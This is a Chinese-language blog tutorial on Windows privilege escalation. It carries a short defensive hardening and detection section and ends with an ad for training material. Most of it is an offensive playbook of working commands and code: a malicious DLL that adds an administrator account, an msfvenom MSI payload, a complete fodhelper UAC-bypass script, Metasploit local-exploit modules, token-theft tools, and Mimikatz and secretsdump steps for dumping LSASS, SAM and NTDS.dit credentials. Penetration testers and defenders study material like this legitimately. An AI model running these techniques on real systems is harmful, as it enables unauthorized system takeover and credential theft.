Windows权限提升完全手册:从信息收集到SYSTEM权限的完整路径
写在前面“Windows怎么提权”“有了普通用户怎么变SYSTEM”“有哪些常见的提权漏洞”在渗透测试中拿到初始shell往往只是低权限用户。要真正控制系统、横向移动、窃取凭据就需要提升权限到SYSTEM或Administrator。Windows提权是一个系统工程从信息收集到漏洞利用从配置缺陷到凭据获取每一步都需要耐心和细致。不像Linux提权有明确的SUID、cron等路径Windows提权更依赖对系统配置的全面分析。我第一次做Windows提权是在靶场上通过服务路径未引用漏洞写了个恶意程序放到路径中重启服务后直接拿到SYSTEM。那一刻对配置即漏洞有了深刻理解。今天我把Windows权限提升的完整知识整理出来信息收集、内核提权、服务提权、注册表利用、令牌窃取、UAC绕过、凭据获取。看完这篇你对Windows提权会有一个系统化认知。⚠️ 注意本文仅用于授权的安全测试和教育目的严禁用于非法用途。一、Windows权限体系权限层级权限SID说明SYSTEMS-1-5-18最高权限系统级AdministratorS-1-5-32-544管理员UserS-1-5-32-545普通用户GuestS-1-5-32-546来宾账户UAC机制普通操作 → 不需要提权 管理操作 → UAC弹窗确认 ↓ 用户点击是 → 提升为管理员权限 用户点击否 → 操作被拒绝提权路径总览初始访问低权限 ↓ 信息收集 → 确定提权路径 ↓ ┌───────────────────────────────────────┐ │ 内核漏洞 │ 服务缺陷 │ 注册表 │ 计划任务 │ │ 令牌窃取 │ UAC绕过 │ 凭据获取 │ DLL劫持 │ └───────────────────────────────────────┘ ↓ SYSTEM权限二、提权信息收集系统基本信息# 系统版本和补丁systeminfo systeminfo|findstr/B/C:OS Name/C:OS Version/C:System Type# 查看已安装补丁wmic qfe list brief wmic qfe get Caption,Description,HotFixID,InstalledOn# 查看架构echo%PROCESSOR_ARCHITECTURE%# 查看当前用户和权限whoami whoami/all whoami/priv whoami/groups# 查看网络配置ipconfig/all netstat-ano# 查看进程tasklist/v tasklist/svcWinPeas自动化信息收集# WinPeas - Windows自动化提权信息收集工具# 下载# https://github.com/peass-ng/PEASS-ng/releases# 执行winpeas.bat# 批处理版本winpeasx64.exe# 可执行版本# 输出会标记潜在提权路径# 红色 高风险# 黄色 中风险PowerUp.ps1# PowerUp - PowerShell提权审计工具Import-Module.\PowerUp.ps1# 运行所有检查Invoke-AllChecks# 检查项# - 未引用服务路径# - 服务权限缺陷# - AlwaysInstallElevated# - 注册表自启# - 凭据存储# - 计划任务Seatbelt.exe# Seatbelt - C#信息收集工具Seatbelt.exe-groupall# 收集全部信息Seatbelt.exe-groupsystem# 系统信息Seatbelt.exe-groupchrome# Chrome数据Seatbelt.exe-groupbasic# 基础信息关键信息收集Checklist检查项命令目的系统版本systeminfo确定内核漏洞补丁列表wmic qfe确定缺失补丁当前权限whoami /priv查看已有权限服务列表sc query查找服务缺陷计划任务schtasks查找可利用任务自启动项reg query查找注册表利用存储凭据cmdkey /l查找存储凭据网络连接netstat发现内网资源三、内核漏洞提权常见内核漏洞漏洞编号漏洞名称影响版本提权工具MS16-032二级登录提权Win7/8/10/2012MS16-032.exeMS16-135Win32k提权Win7/8.1/10/2012MS16-135.exeMS17-010永恒之蓝Win7/8/2008EternalBlueCVE-2020-0787BITS提权Win10/2016/2019BITSInjectCVE-2021-1732Win32k提权Win10 2004/20H2CVE-2021-1732CVE-2022-21882Win32k提权Win10/11/2019/2022POCCVE-2023-21716Word提权OfficePOCPrintNightmare打印服务漏洞Win7-11/2008-2022POCMetasploit提权# Metasploit内核提权模块msf6use exploit/windows/local/ms16_032_secondary_logon_handle_privesc msf6setSESSION1msf6exploit# 常用本地提权模块msf6search path:local platform:windows type:exploit# 常用模块列表exploit/windows/local/bypassuac exploit/windows/local/ms16_032 exploit/windows/local/ms16_135 exploit/windows/local/ask# UAC弹窗提权exploit/windows/local/always_install_elevated漏洞匹配工具# Windows Exploit Suggesterpython3 windows-exploit-suggester.py--database2024-09-25-mssb.xls--systeminfosysinfo.txt# Watson (C#)Watson.exe#Sherlock (PowerShell)Import-Module Sherlock.ps1 Find-AllVulns四、服务配置提权1. 未引用服务路径Unquoted Service Path当服务路径含空格且未加引号时可利用路径解析漏洞。# 查找未引用服务路径wmic service get name,displayname,pathname,startmode|findstr/iauto|findstr/i/vc:\windows# 示例# C:\Program Files\My Service\service.exe# 解析顺序# 1. C:\Program.exe ← 如果存在就会被执行# 2. C:\Program Files\My.exe# 3. C:\Program Files\My Service\service.exe# 利用方法# 1. 检查服务运行权限scqcMyService# 2. 如果以SYSTEM运行在可写目录放置恶意exe# 3. 重启服务scstopMyServicescstartMyService2. 服务权限缺陷# 查看服务权限scqcServiceNameicaclsC:\path\to\service.exe# 使用 accesschk 检查服务权限accesschk.exe-ucqvServiceName# 查找可修改的服务accesschk.exe-uwcqvUsers*-accepteula# 如果普通用户可以修改服务# 修改服务指向恶意程序scconfigServiceNamebinpathC:\temp\evil.exescstopServiceNamescstartServiceName# 或修改服务可执行路径scconfigServiceNamebinpathcmd /c net localgroup administrators user /add3. DLL劫持# 查找可写目录中的服务# 检查服务加载的DLL路径# 使用 Process Monitor 监控DLL加载# 劫持步骤# 1. 找到以SYSTEM运行的服务# 2. 找到服务尝试加载但路径不安全的DLL# 3. 在该路径放置恶意DLL# 4. 重启服务触发加载# 恶意DLL示例C语言#include windows.hBOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){if(fdwReason DLL_PROCESS_ATTACH){system(cmd /c net user hacker Pss123 /add);system(cmd /c net localgroup administrators hacker /add);}returnTRUE;}# 编译x86_64-w64-mingw32-gcc evil.c--shared-o evil.dll五、注册表提权1. AlwaysInstallElevated# 检查是否启用reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer/v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer/v AlwaysInstallElevated# 如果两个值都为1MSI以SYSTEM运行# 生成恶意MSImsfvenom-p windows/exec CMDnet localgroup administrators user /add-f msi-o evil.msi# 执行msiexec/quiet/qn/i evil.msi2. 注册表自启动# 查看自启动项reg queryHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runreg queryHKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run# 检查自启动程序路径权限# 如果路径可写替换为恶意程序# Autoruns 工具查看所有自启动项# Sysinternals Autoruns3. 注册表凭据# 查找注册表中的密码reg queryHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon/v DefaultUserName reg queryHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon/v DefaultPassword# VNC密码reg queryHKLM\SOFTWARE\RealVNC\WinVNC4/v Password# 自动化搜索reg query HKLM/fpassword/t REG_SZ/s reg query HKCU/fpassword/t REG_SZ/s六、计划任务提权# 查看计划任务schtasks/query/fo LIST/v# 查找以SYSTEM运行的任务schtasks/query/fo LIST/v|findstr/iTaskName RunAs# 如果任务的脚本/路径可写则可以替换# 检查任务执行路径权限icaclsC:\path\to\task\script.bat# 利用方式# 1. 找到以高权限运行的任务# 2. 检查任务执行的文件是否可写# 3. 替换为恶意脚本# 4. 等待或触发任务执行七、令牌窃取与模拟令牌窃取原理低权限进程 → 窃取SYSTEM进程令牌 → 以SYSTEM权限执行JuicyPotato# JuicyPotato - 利用NTLM认证窃取SYSTEM令牌# 需要SeImpersonate权限JuicyPotato.exe-l1337-pcmd.exe-t*-c{F7FD3FD6-8B9E-4F92-8D6A-5FDA0CC6B6BA}# PrintSpooferPrintSpoofer.exe-i-ccmd /c whoami# GodPotato支持.NETGodPotato.exe-cmdcmd /c whoamiMimikatz令牌操作# 列出令牌token::list# 窃取令牌token::steal /id:PID# 模拟令牌token::elevate /id:PID常见需要SeImpersonate权限的服务服务说明IISWeb服务器服务账户SQL Server数据库服务账户WinRM远程管理服务BITS后台智能传输Print Spooler打印服务Exchange邮件服务八、UAC绕过UAC绕过方法方法说明适用版本fodhelper默认程序注册表劫持Win10eventvwr事件查看器注册表劫持Win7-10computerdefaults计算机默认程序Win10sdclt备份和还原Win10DLL劫持特定系统DLL多版本fodhelper UAC绕过# PowerShell实现New-ItemHKCU:\Software\Classes\ms-settings\Shell\Open\command-ForceNew-ItemProperty-PathHKCU:\Software\Classes\ms-settings\Shell\Open\command-NameDelegateExecute-Value-ForceSet-ItemProperty-PathHKCU:\Software\Classes\ms-settings\Shell\Open\command-Name(default)-Valuecmd /c net localgroup administrators user /add-ForceStart-Processfodhelper.exe# 清理Remove-ItemHKCU:\Software\Classes\ms-settings\Shell\Open\command-Force-RecurseMetasploit UAC绕过msf6use exploit/windows/local/bypassuac_fodhelper msf6setSESSION1msf6exploit# 或使用 ask 模块弹窗型msf6use exploit/windows/local/ask msf6setSESSION1msf6exploit九、凭据获取凭据存储位置位置说明工具LSASS本地安全机构子系统MimikatzSAM文件本地账户哈希Mimikatz/secretsdumpLSA SecretsLSA存储的密钥MimikatzNTDS.dit域控哈希数据库ntdsutil/secretsdump凭据管理器Windows凭据存储cmdkey浏览器浏览器密码LaZagne注册表VNC/FTP等密码reg queryMimikatz# 提权后使用Mimikatz# 需要Debug权限privilege::debug# 抓取明文密码sekurlsa::logonpasswords# 抓取NTLM哈希lsadump::sam lsadump::dcsync /user:Administrator# 抓取LSA密钥lsadump::secrets# 抓取Kerberos票据sekurlsa::tickets凭据导出# 使用Impacket的secretsdumpsecretsdump.py-samSAM-systemSYSTEMlocalsecretsdump.py-ntdsntds.dit-systemSYSTEMlocal# 从NTDS.dit导出域哈希# 1. 创建快照ntdsutil snapshotactivate instance ntdscreate quit quit# 2. 挂载快照ntdsutil snapshotmount {GUID}quit quit# 3. 复制NTDS.ditcopy C:\$SNAP_*\Windows\NTDS\ntds.dit C:\temp\# 4. 复制SYSTEM注册表reg save HKLM\SYSTEM C:\temp\SYSTEM# 5. 卸载快照ntdsutil snapshotunmount {GUID}quit quit# 6. 离线导出secretsdump.py-ntdsntds.dit-systemSYSTEMlocal其他凭据收集# 浏览器密码# LaZagneLaZagne.exe all# WiFi密码netsh wlan show profile netsh wlan show profile nameWiFiNamekeyclear# RDP密码cmdkey/listdir/a%userprofile%\AppData\Local\Microsoft\Credentials\# SSH密钥dir/a%userprofile%\.ssh\# 环境变量中的密码set|findstr/ipass十、Windows提权工具箱工具功能运行方式WinPeas自动化信息收集.bat/.exePowerUpPowerShell审计.ps1SeatbeltC#信息收集.exeWatson漏洞检测.exeMimikatz凭据获取.exeJuicyPotato令牌窃取.exePrintSpoofo令牌窃取.exeMetasploit综合提权框架AccessChk权限检查.exeAutoruns自启动分析.exe十一、提权防御方案系统加固加固项说明及时更新补丁修复已知内核漏洞最小权限原则服务以最小权限运行服务路径加引号防止路径未引用漏洞限制服务权限普通用户不能修改服务禁用不必要的自启减少攻击面启用UAC到最高级防止静默提权部署EDR检测异常行为最小化存储凭据不在系统中存密码检测规则检测项说明日志源特权提升用户获得新特权4673/4674服务修改服务配置被修改7045注册表修改关键注册表改动Sysmon异常进程创建SYSTEM权限异常Sysmon/EDRMimikatz行为LSASS访问Sysmon/EDR新建用户添加管理员账户4728/4732十二、Windows提权完整流程1. 获取初始Shell低权限 2. 信息收集WinPeas/PowerUp 3. 分析提权路径 4. 选择提权方法 ├── 有补丁缺失 → 内核漏洞提权 ├── 服务配置缺陷 → 服务提权 ├── 有SeImpersonate → 令牌窃取 ├── 有存储凭据 → 凭据利用 ├── UAC限制 → UAC绕过 └── 其他路径 → 注册表/计划任务 5. 提权到SYSTEM/Administrator 6. 权限维持创建服务/计划任务 7. 凭据获取Mimikatz 8. 横向移动学习资源Windows提权是内网渗透中的核心技能。从信息收集到漏洞利用从配置缺陷到凭据获取每一条提权路径都需要对Windows系统有深入理解。掌握Windows提权需要大量实践。在靶场环境中反复练习各种提权手法理解每一步的原理和条件才能在实战中快速找到提权路径。如果你对Windows提权和内网渗透感兴趣想系统学习更多知识——包括内网渗透全流程、域渗透技术、应急响应、红蓝对抗、CTF实战等——可以参考下面整理的完整学习资料包。内容涵盖从零基础到实战进阶200节视频课程配套工具和靶场环境涵盖攻防对抗全生命周期。这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源总结Windows提权的核心要点提权方向关键技术内核漏洞补丁缺失 → 对应CVE利用服务缺陷未引用路径/权限/DLL劫持令牌窃取SeImpersonate → JuicyPotatoUAC绕过注册表劫持/fodhelper凭据获取Mimikatz/LSASS/NTDS.dit信息收集WinPeas/PowerUp/Seatbelt 记住提权的本质是权限的非法扩大。防御的核心是最小权限原则和及时修复漏洞。————————————————